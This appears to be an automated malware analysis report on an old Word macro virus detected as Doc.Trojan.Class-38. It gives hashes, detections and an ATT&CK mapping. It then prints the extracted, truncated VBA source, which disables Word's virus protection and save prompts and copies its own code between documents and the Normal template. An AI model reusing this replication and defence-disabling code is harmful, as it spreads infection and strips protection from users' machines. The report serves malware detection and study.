Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 30c370dba71f781e…

MALICIOUS

Office (OLE)

62.0 KB Created: 1999-06-26 04:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ed8172caaf82ff7f62afb26ebae6b5dd SHA-1: 662a3b3e564424ecfe6bd9d5ea63fee43a3cdd00 SHA-256: 30c370dba71f781e3e8299d15dec7fbc0fed5f32ed71758bd53a3947fa73d76a
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macro markers and an Auto_Close macro, indicating a potential for malicious execution upon document opening or closing. The AutoClose subroutine conditionally shows a user form named 'll' based on the current day of the month. The 'll' user form's click event attempts to disable virus protection, suggesting an intent to evade detection and potentially download or execute further malicious content.

Heuristics 4

  • ClamAV: Doc.Trojan.Class-38 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-38
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21822 bytes
SHA-256: 803c308ca0b737e0958c61385079721487728ffc3b2ce63bad03b669510d2f5f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoClose()
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
ll.UserForm_Click
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
Select Case Day(Now)
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
Case 25 To 31
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
ll.Show
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
End Select
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
End Sub
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
Sub ViewVBCode()
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
End Sub
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
Sub ToolsMacro()
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
End Sub

Attribute VB_Name = "ll"
Attribute VB_Base = "0{5598C24E-2B57-11D3-8BF9-000000000000}{5598C247-2B57-11D3-8BF9-000000000000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
Sub UserForm_Click()
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
On Error GoTo out
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
Options.VirusProtection = False
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
Options.SaveNormalPrompt = False
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
Options.ConfirmConversions = False
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.countoflines
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
If nt > 0 And ad > 0 Then GoTo out
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
If nt = 0 Then
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    Set infect = NormalTemplate.VBProject.VBComponents
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    Set host = ActiveDocument.VBProject.VBComponents
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    host.Item(1).codemodule.replaceline 3, Application.UserInitials & ".UserForm_Click"
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    host.Item(1).codemodule.replaceline 5, "select case day(now)"
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    host.Item(1).codemodule.replaceline 7, "case 25 to 31"
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    host.Item(1).codemodule.replaceline 9, Application.UserInitials & ".show"
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    host.Item(1).codemodule.replaceline 11, "end select"
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    host.Item(1).Name = infect.Item(1).Name
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    host.Item(2).Name = Application.UserInitials
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    host.Item(1).Export "c:\kernel.sys"
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
    host.Item(2).Export "c:\kernel2.sys"
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
End If
'll6/25/99 11:41:07 PMPanasonic KX-P6100 GDI on KXPGDIClass.BX.Poly0.dot
If ad = 0
... (truncated)

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